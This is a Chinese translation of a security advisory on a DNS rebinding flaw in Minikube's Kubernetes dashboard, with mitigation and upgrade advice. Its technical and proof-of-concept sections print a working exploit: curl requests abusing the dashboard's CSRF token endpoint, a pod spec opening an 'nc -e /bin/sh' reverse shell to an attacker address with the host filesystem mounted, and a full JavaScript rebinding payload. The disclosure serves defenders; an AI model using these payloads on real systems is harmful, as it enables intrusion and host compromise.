原文:https://labs.mwrinfosecurity.com/advisories/minikube-rce/
Minikube上的Kubernetes仪表板服务存在DNS重绑定漏洞,攻击者可以利用该漏洞对主机发动远程代码执行攻击。
漏洞描述
Minikube是人们进行Kubernetes本地测试和开发时的热门之选,同时,它也是许多大型Kubernetes项目的个组成部分。
然而,Minikube上的Kubernetes仪表板服务很容易受到DNS重绑定攻击,从而导致攻击者能够对主机操作系统发动远程代码执行攻击。
对于这个漏洞而言,攻击者通常会通过恶意网页加以利用,例如通过水坑攻击或网络钓鱼攻击等。
漏洞的影响
攻击者可以通过将deployment发布到Kubernetes仪表板,从而实现针对Minikube VM的容器化远程代码执行攻击。当受害者使用VirtualBox、VMWare Fusion或Xhyve时,攻击者也可以通过挂载主机用户的主目录来实现Minikube VM逃逸。
利用这种攻击,攻击者可以获取对主机操作系统的持久访问权限。
漏洞成因分析
远程代码执行
在默认情况下,正常安装的Minikube会启用Kubernetes仪表板,并可通过Minikube VM的端口30000/TCP进行访问。由于Minikube VM本身只支持仅主机网络(host-only network)配置,因此,它只能供主机访问。
但是,攻击者仍然可以通过DNS重绑定攻击,利用恶意网页与仪表板进行交互。
如果存在DNS重绑定漏洞的话,攻击者可以通过动态操纵域的DNS记录,从而让网页绕过同源策略的限制。例如,为了传递恶意JavaScript有效载荷,可以首先将域attacker.com映射到一个外部IP地址(如1.2.3.4)。之后,可以将该域的A记录重新映射到一个内部IP,例如192.168.99.100。这样一来,JavaScript有效载荷就可以与内部IP进行通信了,并且也不会违反同源策略了。
实际上,Minikube安装的Kubernetes仪表板服务非常容易受到DNS重绑定漏洞的攻击,这是因为:
虚拟机逃逸漏洞
默认情况下,VirtualBox、VMWare Fusion和Xhyve的驱动程序将挂载主机用户的主目录。因此,攻击者可以通过配置deployment,将主目录从Minikube VM安装到容器中。换句话说,这就使得攻击者可以实现Minikube VM逃逸。下图显示了MacOS主机上的挂载链:
然后,攻击者可以将用户的.bash_profile后门化,或者通过检索私钥以获得对其他系统的访问权。
临时解决方法
这个漏洞会影响0.30.0之前的Minikube版本。对于使用这些版本的用户,我们建议让Minikube禁用Kubernetes仪表板服务:
$ minikube addons disable dashboard
解决方案
该问题已在0.30.0版中得到了修复。所以,我们建议所有用户升级至该版本。
其中,在新版本中,进行的修复包括:
技术细节
恶意网页首先触发针对Kubernetes仪表板的DNS重绑定以绕过同源策略,如此一来,该页面就能够从仪表板中读取响应数据了。
然后,该页面会向/api/v1/csrftoken/appdeploymentfromfile发出GET请求,以从仪表板获取deployment的有效CSRF令牌。下面给出了获取CSRF令牌的相应curl请求:
$ curl http://192.168.99.100:30000/api/v1/csrftoken/appdeploymentfromfile
{
"token": "AQ_3pRIv6gjjoVkniBS9xK6tSqI:1538256679430"
}
之后,该页面可以将任意仪表板发布到该仪表板,并使用上述令牌来设置X-CSRF-TOKEN头部。例如,攻击者可以创建一个带有容器的deployment,并让该容器将反向shell连接回攻击者。此外,攻击者可能还希望将主机用户的主目录安装到容器中,从而可以直接打开容器和管理程序。
下面的deployment将在1.2.3.4:4444端口创建一个反向连接至攻击者的shell,同时,还会挂载MacOS用户的主目录:
apiVersion: v1
kind: Pod
metadata:
name: dns-rebind-rce-poc
spec:
containers:
- name: busybox
image: busybox:1.29.2
command: ["/bin/sh"]
args: ["-c", "nc 1.2.3.4 4444 -e /bin/sh"]
volumeMounts:
- name: host
mountPath: /host
volumes:
- name: host
hostPath:
path: /Users/
type: Directory
下面是用于创建这个deployment的curl请求:
$ curl 'http://192.168.99.100:30000/api/v1/appdeploymentfromfile' -H 'X-CSRF-TOKEN: eT3xz2k_26fNCBzPpIZ1-A1s-gE:1538254867049' -H 'Content-Type: application/json;charset=utf-8' --data '{"name":"","namespace":"default","content":"apiVersion: v1\nkind: Pod\nmetadata:\n name: dns-rebind-rce-poc\nspec:\n containers:\n - name: busybox\n image: busybox:1.29.2\n command: [\"/bin/sh\"]\n args: [\"-c\", \"nc 1.2.3.4 4444 -e /bin/sh\"]\n volumeMounts:\n - name: host\n mountPath: /host\n volumes:\n - name: host\n hostPath:\n path: /\n type: Directory\n","validate":true}'
通过上述请求,攻击者将收到一个可以访问主目录的反向shell:
~# nc -lvp 4444
Listening on [0.0.0.0] (family 0, port 4444)
Connection from [4.3.2.1] port 4444 [tcp/*] accepted (family 2, sport 55593)
ls -lh /host/Users/user/
total 124
drwxr-xr-x 1 1001 1001 1.8K Sep 29 14:19 .
drwxr-xr-x 1 1001 1001 160 Mar 30 2018 ..
drwx------ 1 1001 1001 96 Aug 27 10:04 Applications
drwx------ 1 1001 1001 128 Sep 24 17:45 Desktop
drwx------ 1 1001 1001 160 Aug 8 18:29 Documents
drwx------ 1 1001 1001 1.2K Sep 29 17:14 Downloads
drwx------ 1 1001 1001 1.9K Jun 12 11:16 Library
drwx------ 1 1001 1001 96 Mar 30 2018 Movies
drwx------ 1 1001 1001 128 Apr 1 13:38 Music
drwx------ 1 1001 1001 320 Sep 6 07:27 Pictures
drwxr-xr-x 1 1001 1001 544 Sep 29 12:54 Projects
drwxr-xr-x 1 1001 1001 128 Mar 30 2018 Public
drwxr-xr-x 1 1001 1001 96 Mar 30 2018 Scripts
drwxr-xr-x 1 1001 1001 128 May 27 21:46 VirtualBox VMs
POC
本节使用MWR的DNS重绑定漏洞利用框架dref来演示攻击过程。
为了进行攻击,应修改docker-compose.yml以公开30000/TCP端口:
services:
api:
...
ports:
- 0.0.0.0:80:80
- 0.0.0.0:30000:30000
此外,我们还应修改dref-config.yml,创建指向自定义的Minikube有效载荷的子域:
targets:
- target: "minikube"
script: "minikube"
最后,将自定义的有效载荷存储到dref/scripts/src/payloads/minikube.js脚本中:
import NetMap from 'netmap.js'
import * as network from '../libs/network'
import Session from '../libs/session'
// hosts and ports to check for Kubernetes dashboard
const hosts = ['192.168.99.100']
const ports = [30000]
// paths for fetching CSRF token and POSTing the deployment
const tokenPath = '/api/v1/csrftoken/appdeploymentfromfile'
const deployPath = '/api/v1/appdeploymentfromfile'
// payload to deploy
const deployment = `apiVersion: v1
kind: Pod
metadata:
name: dns-rebind-rce-poc
spec:
containers:
- name: busybox
image: busybox:1.29.2
command: ["/bin/sh"]
args: ["-c", "nc 1.2.3.4 4444 -e /bin/sh"]
volumeMounts:
- name: host
mountPath: /host
volumes:
- name: host
hostPath:
path: /
type: Directory
`
const session = new Session()
const netmap = new NetMap()
// this function runs first on the original page
// it'll scan hosts/ports and open an iFrame for the rebind attack
async function main () {
netmap.tcpScan(hosts, ports).then(results => {
for (let h of results.hosts) {
for (let p of h.ports) {
if (p.open) session.createRebindFrame(h.host, p.port)
}
}
})
}
// this function funs in rebinding iframes
function rebind () {
// after this, the Origin maps to the Kubernetes dashboard host:port
session.triggerRebind().then(() => {
network.get(session.baseURL + tokenPath, {
successCb: (code, headers, body) => {
const token = JSON.parse(body).token
network.postJSON(session.baseURL + deployPath, {
'name': '',
'namespace': 'default',
'validate': true,
'content': deployment
}, {
headers: {
'X-CSRF-TOKEN': token
}
})
}
})
})
}
if (window.args && window.args._rebind) rebind()
else main()
当Minikube用户访问http://minikube.{dref_domain}.com
链接时,就会遭到攻击,并会通过1.2.3.4:4444向攻击者提供一个安装了主机文件系统的反向shell。
漏洞修复进程
参考资料